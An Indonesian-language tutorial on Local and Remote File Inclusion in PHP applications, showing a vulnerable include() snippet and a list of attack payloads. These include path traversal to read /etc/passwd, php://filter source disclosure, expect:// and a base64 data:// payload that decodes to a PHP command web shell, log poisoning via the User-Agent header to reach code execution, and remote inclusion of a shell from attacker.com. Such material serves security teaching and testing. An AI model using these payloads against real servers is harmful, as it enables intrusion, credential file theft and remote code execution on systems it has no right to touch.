LFI: membaca file sensitif di server (/etc/passwd, source code). RFI: mengeksekusi kode dari server remote. LFI to RCE techniques.
File Inclusion adalah kerentanan di mana aplikasi web meng-include file berdasarkan input pengguna. Ada dua jenis: LFI (Local File Inclusion) membaca file lokal server, dan RFI (Remote File Inclusion) mengeksekusi kode dari URL remote. Dampaknya bisa sangat parah: dari information disclosure hingga Remote Code Execution (RCE).
Terjadi ketika aplikasi menggunakan fungsi seperti include() atau require() dengan path yang bisa dimanipulasi pengguna.
$page = $_GET["page"];
include("pages/" . $page . ".php");# Akses /etc/passwd
?page=../../../../etc/passwd
# Null byte (PHP < 5.3)
?page=../../etc/passwd%00
# PHP filter (baca source code sebagai base64)
?page=php://filter/convert.base64-encode/resource=index
# PHP wrapper untuk execute
?page=expect://id
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=Teknik mengubah LFI menjadi Remote Code Execution:
# 1. Kirim request dengan payload di User-Agent
GET / HTTP/1.1
User-Agent:
# 2. Include log file
?page=../../var/log/apache2/access.log&cmd=idJika allow_url_include=On, penyerang bisa include file dari URL remote.
# Host file shell.php di server attacker
# Lalu:
?page=http://attacker.com/shell.php
# shell.php berisi: